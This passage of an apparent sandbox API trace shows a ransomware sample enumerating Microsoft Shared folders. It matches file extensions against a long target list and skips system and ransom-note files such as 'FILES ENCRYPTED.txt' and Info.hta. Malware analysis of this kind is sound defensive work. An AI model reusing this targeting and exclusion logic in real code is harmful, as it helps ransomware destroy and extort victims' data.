4 [0034.749] lstrcmpiW (lpString1=".grs", lpString2=".DLL") returned 1 [0034.749] lstrlenW (lpString=".gz") returned 3 [0034.749] lstrcmpiW (lpString1=".gz", lpString2="DLL") returned -1 [0034.749] lstrlenW (lpString=".h") returned 2 [0034.749] lstrcmpiW (lpString1=".h", lpString2="LL") returned -1 [0034.749] lstrlenW (lpString=".hdr") returned 4 [0034.749] lstrcmpiW (lpString1=".hdr", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".hpp") returned 4 [0034.750] lstrcmpiW (lpString1=".hpp", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".hta") returned 4 [0034.750] lstrcmpiW (lpString1=".hta", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".htc") returned 4 [0034.750] lstrcmpiW (lpString1=".htc", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".htm") returned 4 [0034.750] lstrcmpiW (lpString1=".htm", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".html") returned 5 [0034.750] lstrcmpiW (lpString1=".html", lpString2="P.DLL") returned -1 [0034.750] lstrlenW (lpString=".icb") returned 4 [0034.750] lstrcmpiW (lpString1=".icb", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".ics") returned 4 [0034.750] lstrcmpiW (lpString1=".ics", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".iff") returned 4 [0034.750] lstrcmpiW (lpString1=".iff", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".inc") returned 4 [0034.750] lstrcmpiW (lpString1=".inc", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".indd") returned 5 [0034.750] lstrcmpiW (lpString1=".indd", lpString2="P.DLL") returned -1 [0034.750] lstrlenW (lpString=".ini") returned 4 [0034.750] lstrcmpiW (lpString1=".ini", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".iqy") returned 4 [0034.750] lstrcmpiW (lpString1=".iqy", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".j2c") returned 4 [0034.750] lstrcmpiW (lpString1=".j2c", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".j2k") returned 4 [0034.750] lstrcmpiW (lpString1=".j2k", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".java") returned 5 [0034.750] lstrcmpiW (lpString1=".java", lpString2="P.DLL") returned -1 [0034.750] lstrlenW (lpString=".jp2") returned 4 [0034.750] lstrcmpiW (lpString1=".jp2", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".jpc") returned 4 [0034.750] lstrcmpiW (lpString1=".jpc", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".jpe") returned 4 [0034.750] lstrcmpiW (lpString1=".jpe", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".jpeg") returned 5 [0034.750] lstrcmpiW (lpString1=".jpeg", lpString2="P.DLL") returned -1 [0034.750] lstrlenW (lpString=".jpf") returned 4 [0034.750] lstrcmpiW (lpString1=".jpf", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".jpg") returned 4 [0034.750] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".jpx") returned 4 [0034.750] lstrcmpiW (lpString1=".jpx", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".js") returned 3 [0034.750] lstrcmpiW (lpString1=".js", lpString2="DLL") returned -1 [0034.750] lstrlenW (lpString=".jsf") returned 4 [0034.750] lstrcmpiW (lpString1=".jsf", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".json") returned 5 [0034.750] lstrcmpiW (lpString1=".json", lpString2="P.DLL") returned -1 [0034.750] lstrlenW (lpString=".jsp") returned 4 [0034.750] lstrcmpiW (lpString1=".jsp", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".kdc") returned 4 [0034.750] lstrcmpiW (lpString1=".kdc", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".kmz") returned 4 [0034.750] lstrcmpiW (lpString1=".kmz", lpString2=".DLL") returned 1 [0034.750] lstrlenW (lpString=".kwm") returned 4 [0034.750] lstrcmpiW (lpString1=".kwm", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".lasso") returned 6 [0034.751] lstrcmpiW (lpString1=".lasso", lpString2="LP.DLL") returned -1 [0034.751] lstrlenW (lpString=".lbi") returned 4 [0034.751] lstrcmpiW (lpString1=".lbi", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".lgf") returned 4 [0034.751] lstrcmpiW (lpString1=".lgf", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".lgp") returned 4 [0034.751] lstrcmpiW (lpString1=".lgp", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".log") returned 4 [0034.751] lstrcmpiW (lpString1=".log", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".m1v") returned 4 [0034.751] lstrcmpiW (lpString1=".m1v", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".m4a") returned 4 [0034.751] lstrcmpiW (lpString1=".m4a", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".m4v") returned 4 [0034.751] lstrcmpiW (lpString1=".m4v", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".max") returned 4 [0034.751] lstrcmpiW (lpString1=".max", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".md") returned 3 [0034.751] lstrcmpiW (lpString1=".md", lpString2="DLL") returned -1 [0034.751] lstrlenW (lpString=".mda") returned 4 [0034.751] lstrcmpiW (lpString1=".mda", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".mdb") returned 4 [0034.751] lstrcmpiW (lpString1=".mdb", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".mde") returned 4 [0034.751] lstrcmpiW (lpString1=".mde", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".mdf") returned 4 [0034.751] lstrcmpiW (lpString1=".mdf", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".mdw") returned 4 [0034.751] lstrcmpiW (lpString1=".mdw", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".mef") returned 4 [0034.751] lstrcmpiW (lpString1=".mef", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".mft") returned 4 [0034.751] lstrcmpiW (lpString1=".mft", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".mfw") returned 4 [0034.751] lstrcmpiW (lpString1=".mfw", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".mht") returned 4 [0034.751] lstrcmpiW (lpString1=".mht", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".mhtml") returned 6 [0034.751] lstrcmpiW (lpString1=".mhtml", lpString2="LP.DLL") returned -1 [0034.751] lstrlenW (lpString=".mka") returned 4 [0034.751] lstrcmpiW (lpString1=".mka", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".mkidx") returned 6 [0034.751] lstrcmpiW (lpString1=".mkidx", lpString2="LP.DLL") returned -1 [0034.751] lstrlenW (lpString=".mkv") returned 4 [0034.751] lstrcmpiW (lpString1=".mkv", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".mos") returned 4 [0034.751] lstrcmpiW (lpString1=".mos", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".mov") returned 4 [0034.751] lstrcmpiW (lpString1=".mov", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".mp3") returned 4 [0034.751] lstrcmpiW (lpString1=".mp3", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".mp4") returned 4 [0034.751] lstrcmpiW (lpString1=".mp4", lpString2=".DLL") returned 1 [0034.751] lstrlenW (lpString=".mpeg") returned 5 [0034.751] lstrcmpiW (lpString1=".mpeg", lpString2="P.DLL") returned -1 [0034.751] lstrlenW (lpString=".mpg") returned 4 [0034.751] lstrcmpiW (lpString1=".mpg", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".mpv") returned 4 [0034.752] lstrcmpiW (lpString1=".mpv", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".mrw") returned 4 [0034.752] lstrcmpiW (lpString1=".mrw", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".msg") returned 4 [0034.752] lstrcmpiW (lpString1=".msg", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".mxl") returned 4 [0034.752] lstrcmpiW (lpString1=".mxl", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".myd") returned 4 [0034.752] lstrcmpiW (lpString1=".myd", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".myi") returned 4 [0034.752] lstrcmpiW (lpString1=".myi", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".nef") returned 4 [0034.752] lstrcmpiW (lpString1=".nef", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".nrw") returned 4 [0034.752] lstrcmpiW (lpString1=".nrw", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".obj") returned 4 [0034.752] lstrcmpiW (lpString1=".obj", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".odb") returned 4 [0034.752] lstrcmpiW (lpString1=".odb", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".odc") returned 4 [0034.752] lstrcmpiW (lpString1=".odc", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".odm") returned 4 [0034.752] lstrcmpiW (lpString1=".odm", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".odp") returned 4 [0034.752] lstrcmpiW (lpString1=".odp", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".ods") returned 4 [0034.752] lstrcmpiW (lpString1=".ods", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".oft") returned 4 [0034.752] lstrcmpiW (lpString1=".oft", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".one") returned 4 [0034.752] lstrcmpiW (lpString1=".one", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".onepkg") returned 7 [0034.752] lstrcmpiW (lpString1=".onepkg", lpString2="ELP.DLL") returned -1 [0034.752] lstrlenW (lpString=".onetoc2") returned 8 [0034.752] lstrcmpiW (lpString1=".onetoc2", lpString2="HELP.DLL") returned -1 [0034.752] lstrlenW (lpString=".opt") returned 4 [0034.752] lstrcmpiW (lpString1=".opt", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".oqy") returned 4 [0034.752] lstrcmpiW (lpString1=".oqy", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".orf") returned 4 [0034.752] lstrcmpiW (lpString1=".orf", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".p12") returned 4 [0034.752] lstrcmpiW (lpString1=".p12", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".p7b") returned 4 [0034.752] lstrcmpiW (lpString1=".p7b", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".p7c") returned 4 [0034.752] lstrcmpiW (lpString1=".p7c", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".pam") returned 4 [0034.752] lstrcmpiW (lpString1=".pam", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".pbm") returned 4 [0034.752] lstrcmpiW (lpString1=".pbm", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".pct") returned 4 [0034.752] lstrcmpiW (lpString1=".pct", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".pcx") returned 4 [0034.752] lstrcmpiW (lpString1=".pcx", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".pdd") returned 4 [0034.752] lstrcmpiW (lpString1=".pdd", lpString2=".DLL") returned 1 [0034.752] lstrlenW (lpString=".pdf") returned 4 [0034.753] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0034.753] lstrlenW (lpString=".pdp") returned 4 [0034.753] lstrcmpiW (lpString1=".pdp", lpString2=".DLL") returned 1 [0034.753] lstrlenW (lpString=".pef") returned 4 [0034.753] lstrcmpiW (lpString1=".pef", lpString2=".DLL") returned 1 [0034.753] lstrlenW (lpString=".pem") returned 4 [0034.753] lstrcmpiW (lpString1=".pem", lpString2=".DLL") returned 1 [0034.753] lstrlenW (lpString=".pff") returned 4 [0034.753] lstrcmpiW (lpString1=".pff", lpString2=".DLL") returned 1 [0034.753] lstrlenW (lpString=".pfm") returned 4 [0034.753] lstrcmpiW (lpString1=".pfm", lpString2=".DLL") returned 1 [0034.753] lstrlenW (lpString=".pfx") returned 4 [0034.753] lstrcmpiW (lpString1=".pfx", lpString2=".DLL") returned 1 [0034.753] lstrlenW (lpString=".pgm") returned 4 [0034.753] lstrcmpiW (lpString1=".pgm", lpString2=".DLL") returned 1 [0034.753] lstrlenW (lpString=".php") returned 4 [0034.753] lstrcmpiW (lpString1=".php", lpString2=".DLL") returned 1 [0034.753] lstrlenW (lpString=".php3") returned 5 [0034.753] lstrcmpiW (lpString1=".php3", lpString2="P.DLL") returned -1 [0034.753] lstrlenW (lpString=".php4") returned 5 [0034.753] lstrcmpiW (lpString1=".php4", lpString2="P.DLL") returned -1 [0034.753] lstrlenW (lpString=".php5") returned 5 [0034.753] lstrcmpiW (lpString1=".php5", lpString2="P.DLL") returned -1 [0034.753] lstrlenW (lpString=".phtml") returned 6 [0034.753] lstrcmpiW (lpString1=".phtml", lpString2="LP.DLL") returned -1 [0034.753] lstrlenW (lpString=".pict") returned 5 [0034.753] lstrcmpiW (lpString1=".pict", lpString2="P.DLL") returned -1 [0034.753] lstrlenW (lpString=".pl") returned 3 [0034.753] lstrcmpiW (lpString1=".pl", lpString2="DLL") returned -1 [0034.753] lstrlenW (lpString=".pls") returned 4 [0034.753] lstrcmpiW (lpString1=".pls", lpString2=".DLL") returned 1 [0034.753] lstrlenW (lpString=".pm") returned 3 [0034.753] lstrcmpiW (lpString1=".pm", lpString2="DLL") returned -1 [0034.753] lstrlenW (lpString=".png") returned 4 [0034.753] lstrcmpiW (lpString1=".png", lpString2=".DLL") returned 1 [0034.753] lstrlenW (lpString=".pnm") returned 4 [0034.753] lstrcmpiW (lpString1=".pnm", lpString2=".DLL") returned 1 [0034.753] lstrlenW (lpString=".pot") returned 4 [0034.753] lstrcmpiW (lpString1=".pot", lpString2=".DLL") returned 1 [0034.753] lstrlenW (lpString=".potm") returned 5 [0034.753] lstrcmpiW (lpString1=".potm", lpString2="P.DLL") returned -1 [0034.753] lstrlenW (lpString=".potx") returned 5 [0034.753] lstrcmpiW (lpString1=".potx", lpString2="P.DLL") returned -1 [0034.753] lstrlenW (lpString=".ppa") returned 4 [0034.753] lstrcmpiW (lpString1=".ppa", lpString2=".DLL") returned 1 [0034.753] lstrlenW (lpString=".ppam") returned 5 [0034.753] lstrcmpiW (lpString1=".ppam", lpString2="P.DLL") returned -1 [0034.753] lstrlenW (lpString=".ppm") returned 4 [0034.753] lstrcmpiW (lpString1=".ppm", lpString2=".DLL") returned 1 [0034.753] lstrlenW (lpString=".pps") returned 4 [0034.753] lstrcmpiW (lpString1=".pps", lpString2=".DLL") returned 1 [0034.753] lstrlenW (lpString=".ppsm") returned 5 [0034.753] lstrcmpiW (lpString1=".ppsm", lpString2="P.DLL") returned -1 [0034.753] lstrlenW (lpString=".ppt") returned 4 [0034.753] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0034.753] lstrlenW (lpString=".pptm") returned 5 [0034.753] lstrcmpiW (lpString1=".pptm", lpString2="P.DLL") returned -1 [0034.754] lstrlenW (lpString=".pptx") returned 5 [0034.754] lstrcmpiW (lpString1=".pptx", lpString2="P.DLL") returned -1 [0034.754] lstrlenW (lpString=".prn") returned 4 [0034.754] lstrcmpiW (lpString1=".prn", lpString2=".DLL") returned 1 [0034.754] lstrlenW (lpString=".ps") returned 3 [0034.754] lstrcmpiW (lpString1=".ps", lpString2="DLL") returned -1 [0034.754] lstrlenW (lpString=".psb") returned 4 [0034.754] lstrcmpiW (lpString1=".psb", lpString2=".DLL") returned 1 [0034.754] lstrlenW (lpString=".psd") returned 4 [0034.754] lstrcmpiW (lpString1=".psd", lpString2=".DLL") returned 1 [0034.754] lstrlenW (lpString=".pst") returned 4 [0034.754] lstrcmpiW (lpString1=".pst", lpString2=".DLL") returned 1 [0034.754] lstrlenW (lpString=".ptx") returned 4 [0034.754] lstrcmpiW (lpString1=".ptx", lpString2=".DLL") returned 1 [0034.754] lstrlenW (lpString=".pub") returned 4 [0034.754] lstrcmpiW (lpString1=".pub", lpString2=".DLL") returned 1 [0034.754] lstrlenW (lpString=".pwm") returned 4 [0034.754] lstrcmpiW (lpString1=".pwm", lpString2=".DLL") returned 1 [0034.754] lstrlenW (lpString=".pxr") returned 4 [0034.754] lstrcmpiW (lpString1=".pxr", lpString2=".DLL") returned 1 [0034.754] lstrlenW (lpString=".py") returned 3 [0034.754] lstrcmpiW (lpString1=".py", lpString2="DLL") returned -1 [0034.754] lstrlenW (lpString=".qt") returned 3 [0034.754] lstrcmpiW (lpString1=".qt", lpString2="DLL") returned -1 [0034.754] lstrlenW (lpString=".r3d") returned 4 [0034.754] lstrcmpiW (lpString1=".r3d", lpString2=".DLL") returned 1 [0034.754] FindClose (in: hFindFile=0x3ed11f8 | out: hFindFile=0x3ed11f8) returned 1 [0034.754] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3ec0050 | out: hHeap=0x880000) returned 1 [0034.754] FindNextFileW (in: hFindFile=0x3ed11b8, lpFindFileData=0x33ef58c | out: lpFindFileData=0x33ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0034.754] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x3ec0050 [0034.754] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed11f8 [0034.755] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.755] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0034.755] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x3ef4080 [0034.755] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed1238 [0035.113] FindNextFileW (in: hFindFile=0x3ed1238, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.114] FindNextFileW (in: hFindFile=0x3ed1238, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0035.689] FindNextFileW (in: hFindFile=0x3ed1278, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.689] FindNextFileW (in: hFindFile=0x3ed1278, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0035.689] lstrlenW (lpString="boxed-correct.avi") returned 17 [0035.689] lstrlenW (lpString=".1cd") returned 4 [0035.689] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0035.689] lstrlenW (lpString=".3ds") returned 4 [0035.689] lstrcmpiW (lpString1=".3ds", lpString2=".avi") returned -1 [0035.689] lstrlenW (lpString=".3fr") returned 4 [0035.689] lstrcmpiW (lpString1=".3fr", lpString2=".avi") returned -1 [0035.689] lstrlenW (lpString=".3g2") returned 4 [0035.689] lstrcmpiW (lpString1=".3g2", lpString2=".avi") returned -1 [0035.689] lstrlenW (lpString=".3gp") returned 4 [0035.689] lstrcmpiW (lpString1=".3gp", lpString2=".avi") returned -1 [0035.689] lstrlenW (lpString=".7z") returned 3 [0035.689] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0035.689] lstrlenW (lpString=".accda") returned 6 [0035.689] lstrcmpiW (lpString1=".accda", lpString2="ct.avi") returned -1 [0035.689] lstrlenW (lpString=".accdb") returned 6 [0035.689] lstrcmpiW (lpString1=".accdb", lpString2="ct.avi") returned -1 [0035.689] lstrlenW (lpString=".accdc") returned 6 [0035.689] lstrcmpiW (lpString1=".accdc", lpString2="ct.avi") returned -1 [0035.689] lstrlenW (lpString=".accde") returned 6 [0035.689] lstrcmpiW (lpString1=".accde", lpString2="ct.avi") returned -1 [0035.689] lstrlenW (lpString=".accdt") returned 6 [0035.689] lstrcmpiW (lpString1=".accdt", lpString2="ct.avi") returned -1 [0035.689] lstrlenW (lpString=".accdw") returned 6 [0035.689] lstrcmpiW (lpString1=".accdw", lpString2="ct.avi") returned -1 [0035.689] lstrlenW (lpString=".adb") returned 4 [0035.689] lstrcmpiW (lpString1=".adb", lpString2=".avi") returned -1 [0035.689] lstrlenW (lpString=".adp") returned 4 [0035.689] lstrcmpiW (lpString1=".adp", lpString2=".avi") returned -1 [0035.689] lstrlenW (lpString=".ai") returned 3 [0035.689] lstrcmpiW (lpString1=".ai", lpString2="avi") returned -1 [0035.689] lstrlenW (lpString=".ai3") returned 4 [0035.689] lstrcmpiW (lpString1=".ai3", lpString2=".avi") returned -1 [0035.689] lstrlenW (lpString=".ai4") returned 4 [0035.689] lstrcmpiW (lpString1=".ai4", lpString2=".avi") returned -1 [0035.689] lstrlenW (lpString=".ai5") returned 4 [0035.690] lstrcmpiW (lpString1=".ai5", lpString2=".avi") returned -1 [0035.690] lstrlenW (lpString=".ai6") returned 4 [0035.690] lstrcmpiW (lpString1=".ai6", lpString2=".avi") returned -1 [0035.690] lstrlenW (lpString=".ai7") returned 4 [0035.690] lstrcmpiW (lpString1=".ai7", lpString2=".avi") returned -1 [0035.690] lstrlenW (lpString=".ai8") returned 4 [0035.690] lstrcmpiW (lpString1=".ai8", lpString2=".avi") returned -1 [0035.690] lstrlenW (lpString=".anim") returned 5 [0035.690] lstrcmpiW (lpString1=".anim", lpString2="t.avi") returned -1 [0035.690] lstrlenW (lpString=".arw") returned 4 [0035.690] lstrcmpiW (lpString1=".arw", lpString2=".avi") returned -1 [0035.690] lstrlenW (lpString=".as") returned 3 [0035.690] lstrcmpiW (lpString1=".as", lpString2="avi") returned -1 [0035.690] lstrlenW (lpString=".asa") returned 4 [0035.690] lstrcmpiW (lpString1=".asa", lpString2=".avi") returned -1 [0035.690] lstrlenW (lpString=".asc") returned 4 [0035.690] lstrcmpiW (lpString1=".asc", lpString2=".avi") returned -1 [0035.690] lstrlenW (lpString=".ascx") returned 5 [0035.690] lstrcmpiW (lpString1=".ascx", lpString2="t.avi") returned -1 [0035.690] lstrlenW (lpString=".asm") returned 4 [0035.690] lstrcmpiW (lpString1=".asm", lpString2=".avi") returned -1 [0035.690] lstrlenW (lpString=".asmx") returned 5 [0035.690] lstrcmpiW (lpString1=".asmx", lpString2="t.avi") returned -1 [0035.690] lstrlenW (lpString=".asp") returned 4 [0035.690] lstrcmpiW (lpString1=".asp", lpString2=".avi") returned -1 [0035.690] lstrlenW (lpString=".aspx") returned 5 [0035.690] lstrcmpiW (lpString1=".aspx", lpString2="t.avi") returned -1 [0035.690] lstrlenW (lpString=".asr") returned 4 [0035.690] lstrcmpiW (lpString1=".asr", lpString2=".avi") returned -1 [0035.690] lstrlenW (lpString=".asx") returned 4 [0035.690] lstrcmpiW (lpString1=".asx", lpString2=".avi") returned -1 [0035.690] lstrlenW (lpString=".avi") returned 4 [0035.690] lstrcmpiW (lpString1=".avi", lpString2=".avi") returned 0 [0035.690] lstrlenW (lpString="boxed-correct.avi") returned 17 [0035.690] lstrlenW (lpString=".gold") returned 5 [0035.690] lstrcmpiW (lpString1=".gold", lpString2="t.avi") returned -1 [0035.690] lstrlenW (lpString="boxed-correct.avi") returned 17 [0035.690] lstrcmpiW (lpString1="boot.ini", lpString2="boxed-correct.avi") returned -1 [0035.690] lstrcmpiW (lpString1="bootfont.bin", lpString2="boxed-correct.avi") returned -1 [0035.690] lstrcmpiW (lpString1="ntldr", lpString2="boxed-correct.avi") returned 1 [0035.690] lstrcmpiW (lpString1="ntdetect.com", lpString2="boxed-correct.avi") returned 1 [0035.690] lstrcmpiW (lpString1="io.sys", lpString2="boxed-correct.avi") returned 1 [0035.690] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="boxed-correct.avi") returned 1 [0035.690] lstrcmpiW (lpString1="Info.hta", lpString2="boxed-correct.avi") returned 1 [0035.691] lstrcmpiW (lpString1="payload.exe", lpString2="boxed-correct.avi") returned 1 [0035.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0035.691] FindNextFileW (in: hFindFile=0x3ed1278, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0035.691] 